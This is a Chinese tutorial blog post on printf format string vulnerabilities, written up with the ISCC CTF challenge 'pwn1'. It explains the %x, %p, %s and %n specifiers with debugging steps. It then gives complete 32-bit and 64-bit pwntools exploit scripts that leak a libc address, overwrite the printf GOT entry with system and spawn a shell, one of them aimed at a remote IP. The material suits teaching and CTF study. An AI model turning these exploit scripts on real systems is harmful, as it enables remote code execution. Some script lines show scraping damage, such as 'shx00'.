zoukankan      html  css  js  c++  java
  • 格式化字符串利用小结

    格式化字符串漏洞基本原理:

    Printf()函数的一般形式为printf(“format”,输出表列),其第一个参数就是格式化字符串,用来告诉程序以什么格式进行输出。正常情况下,这样使用:

    char str[100];

    scanf(“%s”,str);

    printf(“%s”,str);

    但也有人这么用:

    char str[100]

    scanf(“%s”,str);

    printf(str)

    也许代码编写者的本意只是单纯打印一段字符(如“hello world”),但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配format参数。

     

     

    以上图为例,假设调用printf(str)时的栈是这样的:

    (1)如果str就是“Hello word”,则直接输出“hello world”

    (2)如果str是format,例如:%2$p,就会输出format偏移2处到内存地址的内容!

    实例分析:

    下面我们来通过ISCC pwn1的格式化字符从来进行分析:

    首先看下文件

    file pwn1
    
    pwn1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), 

    for GNU/Linux 2.6.24, BuildID[sha1]=cdb7eaa63202024dd348ac15b485b751b55eafa8, not stripped

    运行下程序:

     

    查看下保护机制:

     

    发现只有NX保护机制。

    看下反编译的源码:

     

    发现漏洞在printf输出的地方。测试下:

    果然出现了打印地址的情况,说明存在格式户字符串漏洞。

    我们来调试熟悉格式化字符串的利用:

    %c:输出字符,配上%n可用于向指定地址写数据。

    %d:输出十进制整数,配上%n可用于向指定地址写数据。

    %x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

    %p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

    %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

    %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

    %n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

     

    1、%x打印内存数据

    首先在printf处下一个断点:

     

    运行输入%x:

     

    程序段在了我们的断点处。C继续运行

     

    发现程序打印出了,format偏移1处的内存中的内容。

     

    现在我们输入%5$x 看打印的内容是不是:0x1

    果然输出了我们想要预设的偏移为5的数据,即为1.

    2、%p打印内存数据

    %p的用法和%x的用法相同,不同的是%p会在打印的数据前面添加上0x(输出16进制数据)。例如%5$p

    然后试一下偏移四处的栈数据即我们预测的0xaffd014.输入%4$p,看效果。可以发现打印的是带有0x的数据内容,即十六进制数据。

     

    3、%s打印内存数据

    %i&s是打印处偏移i处地址里面数据指向的内存地址的内容。例如我们通过%3$s以字符串格式打印偏移3处的内容,就是0xffffd074指向的内容,即为0xffffd26c,下面我们看效果。

    会发现打印的是L***为什么不是0xffffd26c呢?别急,看下转码。

    内存小端存储,是以 6c d2 ff ff 形式存储,打印的就是0xffffd26c转换为字符串之后的形式。

    4、%n写入内存数据

    %n和%s类似,会把%好之前的字符个数,写入第i处数据指向的地址空间,我们实验下AAA%3$n,看看会不会把3写入到0xffffd074指向的内存,即覆盖0xffffd26c.

     

     

    会看到,我们成功将3写入了0xffffd074指向的数据。这样我们就能够利用这一点来修改got表的地址了。

    如果要写入具体的数据可以通过%datax%n$n,例如要写入数据0x48到偏移删除的位置,可以用%72x%3$n.(72是0x48的十进制数据。)

    调试看效果:

     

    可以发现偏移三处的位置,0xffffd074指向的数据被我们修改为了0x48('H').

    后面我们会结合实际的例题来完整的实例脚本。

    还是这道题pwn1,刚刚我们对格式化字符串的参数利用方法,下面就是利用方式了。先看脚本:

     32位:

     1 from pwn import*
     2 
     3 local =1
     4 debug = 1
     5 
     6 if local:
     7     p = process('./pwn1')
     8 else:
     9     p = remote("127.0.0.1",8080)
    10 
    11 #context.log_level = 'debug'
    12 '''
    13 if debug:
    14     gdb.attach(p)
    15 '''
    16 def fms(data):
    17     p.recvuntil("input$",timeout=4)
    18     p.sendline("1")
    19     p.recvuntil("please input your name:
    ")
    20     p.sendline(data)
    21 
    22 
    23 libc = ELF("/lib/i386-linux-gnu/libc.so.6")
    24 elf = ELF('./pwn1')
    25 
    26 fms('%35$p')
    27 
    28 libc_start_main_addr = int(p.recv(10),16) - 243    #__libc_start_main
    29 libc_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
    30 print "libc_addr =",hex(libc_addr)
    31 
    32 printf_got = elf.got['printf']
    33 print "printf_got =",hex(printf_got)
    34 
    35 system_addr =libc_addr + libc.symbols['system']
    36 print "system_addr =",hex(system_addr)
    37 
    38 #make stack
    39 make_stack = 'a' * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 
    40 fms(make_stack)
    41 #gdb.attach(p)
    42 
    43 payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"
    44 payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn" 
    45 print "payload=",payload
    46 
    47 fms(payload)
    48 fms('/bin/shx00')
    49 p.interactive()

    看下这条语句:

     make_stack = 'a' * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 

    目的是抬高栈:防止写入的数据被程序执行过程中被覆盖,语句如下,0x30这个数值可以自己定义。剩下的工作就是调试寻找偏移地址了。

     

    利用思路:

    1、泄露地址:__libc_start_main —>libc_addr

    2、修改printf的got表内的地址为system函数的地址。

    3、通过源程序中的printf(/bin/sh),就变成了system(/bin/sh),取得了shell了。

    64位:

    from pwn import*
    
    local =0
    debug = 0
    
    if local:
        p = process('./pwn1')
    else:
        p = remote("101.71.29.5",10040)
    
    context_log_level = 'debug'
    
    if debug:
        gdb.attach(p)
    
    def fms(data):
    
        p.sendline(data)
    
    
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf = ELF('./pwn1')
    
    fms('%43$p')
    
    
    libc_start_main_addr = int(p.recv(20),16) - 240
    print "libc_start_main_addr =",hex(libc_start_main_addr)
    libc_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
    print "libc_addr =",hex(libc_addr)
    
    printf_got = elf.got['printf']
    print "printf_got =",hex(printf_got)
    
    system_addr =libc_addr + libc.symbols['system']
    #system_addr = 0x12345678
    print "system_addr =",hex(system_addr)
    
    
    
    
    make_stack = 'A' * 0x50 + p64(printf_got) + p64(printf_got + 0x1) 
    fms(make_stack)
    
    
    payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"
    payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn" 
    print "payload=",payload
    
    #gdb.attach(p,open('bb'))
    
    fms(payload)
    
    fms('/bin/shx00')
    p.interactive()

     参考链接:http://bobao.360.cn/learning/detail/3654.html

  • 相关阅读:
    初始化生成linux sysfs(8)
    内存延迟监控系统组件
    数组代码First Missing Positive
    类文件Spring中空值的写法java教程
    状态键盘完美适应iOS中的键盘高度变化
    框架绑定JavaScript MVC框架PK:Angular、Backbone、CanJS与Ember
    域编码jquery的AJAX跨域请求及跨域请求的原理
    数据格式利用GSON接卸JSON数据
    网元查看一个无厘头的core dump问题定位
    类型应用oracle如何显示毫秒?
  • 原文地址:https://www.cnblogs.com/Yable/p/7895732.html
Copyright © 2011-2022 走看看